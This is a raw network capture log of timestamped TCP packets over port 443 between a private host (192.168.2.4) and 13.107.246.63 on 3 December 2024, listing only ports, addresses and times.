Dec 3, 2024 10:06:59.639674902 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.639842987 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.639854908 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.665060043 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.665149927 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.668431997 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.668467045 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.668489933 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.668512106 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.668513060 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.668564081 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.668577909 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.668586016 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.668600082 CET	49873	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.668605089 CET	443	49873	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.668608904 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.668627024 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.668668032 CET	49874	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.668673992 CET	443	49874	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.670748949 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.670788050 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.670841932 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.670876026 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.670907021 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.670993090 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.671004057 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.671016932 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.671088934 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.671104908 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.710304022 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.712225914 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.712280989 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.712327957 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.712341070 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.712366104 CET	49876	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.712371111 CET	443	49876	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.714772940 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.714811087 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:59.714868069 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.715018988 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:59.715032101 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:00.857995033 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:00.858695984 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:00.858736992 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:00.859239101 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:00.859246969 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.302545071 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.305561066 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.305613041 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.305686951 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.305705070 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.305716038 CET	49877	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.305721045 CET	443	49877	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.309571981 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.309603930 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.309665918 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.309910059 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.309922934 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.365884066 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.366555929 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.366578102 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.367177010 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.367182970 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.389985085 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.390422106 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.390431881 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.390887022 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.390896082 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.435978889 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.436393023 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.436414957 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.436885118 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.436891079 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.451062918 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.451421022 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.451431990 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.451886892 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.451890945 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.802495956 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.805763960 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.805820942 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.805879116 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.805896044 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.805911064 CET	49878	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.805917025 CET	443	49878	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.809470892 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.809511900 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.809573889 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.809763908 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.809776068 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.824990034 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.828329086 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.828387022 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.828448057 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.828448057 CET	49880	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.828458071 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.828465939 CET	443	49880	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.831216097 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.831249952 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.831302881 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.831443071 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.831458092 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.870743036 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.875225067 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.875269890 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.877537966 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.877537966 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.877621889 CET	49881	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.877636909 CET	443	49881	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.880450964 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.880481958 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.886596918 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.886596918 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.886624098 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.895278931 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.898509026 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.898550987 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.901545048 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.901545048 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.901621103 CET	49879	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.901637077 CET	443	49879	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.904462099 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.904491901 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:01.910649061 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.910649061 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:01.910676003 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.161475897 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.198126078 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.198143005 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.198713064 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.198718071 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.609019041 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.609529018 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.609555006 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.609998941 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.610002995 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.615305901 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.618191957 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.618253946 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.618288040 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.618304968 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.618313074 CET	49882	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.618318081 CET	443	49882	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.620841026 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.620871067 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.620956898 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.621054888 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.621064901 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.656454086 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.656867981 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.656892061 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.657485008 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.657490969 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.675594091 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.676016092 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.676050901 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.676549911 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.676554918 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.698323011 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.698684931 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.698694944 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:03.699242115 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:03.699245930 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.044034958 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.047678947 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.047780991 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.047780991 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.048086882 CET	49885	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.048101902 CET	443	49885	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.050721884 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.050765038 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.050848007 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.050995111 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.051006079 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.110131979 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.114881992 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.115084887 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.115134954 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.115134954 CET	49883	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.115154028 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.115171909 CET	443	49883	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.121913910 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.121953011 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.122046947 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.122327089 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.122348070 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.129204035 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.132292032 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.132523060 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.132524014 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.133280039 CET	49884	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.133294106 CET	443	49884	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.135937929 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.135972977 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.138609886 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.138698101 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.138712883 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.141706944 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.145425081 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.145739079 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.145750046 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.145781040 CET	49886	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.145786047 CET	443	49886	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.147766113 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.147794008 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:04.149709940 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.149889946 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:04.149899960 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.336627960 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.337171078 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.337203026 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.337816000 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.337826014 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.772248030 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.774867058 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.774930954 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.775434017 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.775456905 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.775470972 CET	49887	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.775476933 CET	443	49887	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.779771090 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.779810905 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.779875994 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.780206919 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.780220985 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.832894087 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.834846020 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.834858894 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.835439920 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.835445881 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.918453932 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.918951035 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.918970108 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.919410944 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.919416904 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.944348097 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.945210934 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.945210934 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.945223093 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.945235014 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.968883991 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.969295979 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.969305038 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:05.974437952 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:05.974442959 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.277590036 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.280675888 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.280855894 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.280878067 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.280889034 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.280916929 CET	49888	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.280921936 CET	443	49888	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.283462048 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.283498049 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.283684969 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.285237074 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.285254002 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.363251925 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.366256952 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.366353989 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.366377115 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.366377115 CET	49890	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.366385937 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.366394997 CET	443	49890	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.368499041 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.368525028 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.368676901 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.368751049 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.368763924 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.389275074 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.389354944 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.389484882 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.389484882 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.389508009 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.389525890 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.391568899 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.391602039 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.391747952 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.391798019 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.391813040 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.423152924 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.426677942 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.426716089 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.426760912 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.426829100 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.426829100 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.426882982 CET	49889	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.426898003 CET	443	49889	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.428821087 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.428848028 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:06.429028988 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.429080009 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:06.429095984 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:07.625722885 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:07.626199961 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:07.626231909 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:07.626677036 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:07.626682997 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.003959894 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.004506111 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.004523039 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.004966021 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.004971981 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.078975916 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.079032898 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.079082012 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.079447031 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.079463005 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.079474926 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.079485893 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.082089901 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.082134962 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.082473040 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.082607985 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.082623005 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.086384058 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.086704969 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.086718082 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.087131977 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.087148905 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.177695990 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.178155899 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.178174973 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.178649902 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.178654909 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.209783077 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.210613966 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.210628033 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.211034060 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.211040020 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.439445972 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.439471006 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.439517975 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.439519882 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.439743996 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.439799070 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.439815044 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.439822912 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.439827919 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.442595005 CET	49898	443	192.168.2.4	13.107.246.63
